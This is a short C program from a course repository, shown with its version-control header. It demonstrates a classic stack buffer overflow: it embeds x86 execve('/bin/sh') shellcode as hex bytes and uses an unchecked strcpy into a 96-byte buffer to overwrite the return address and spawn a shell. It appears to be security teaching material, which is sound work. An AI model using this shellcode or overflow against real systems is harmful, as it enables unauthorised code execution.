progs/C3.c
author Christian Urban <christian dot urban at kcl dot ac dot uk>
Tue, 26 Sep 2017 12:30:38 +0100
changeset 536 150f46bcb93b
parent 476 cd82c24373cd
permissions -rw-r--r--
updated

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
  "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
  "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
  "\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}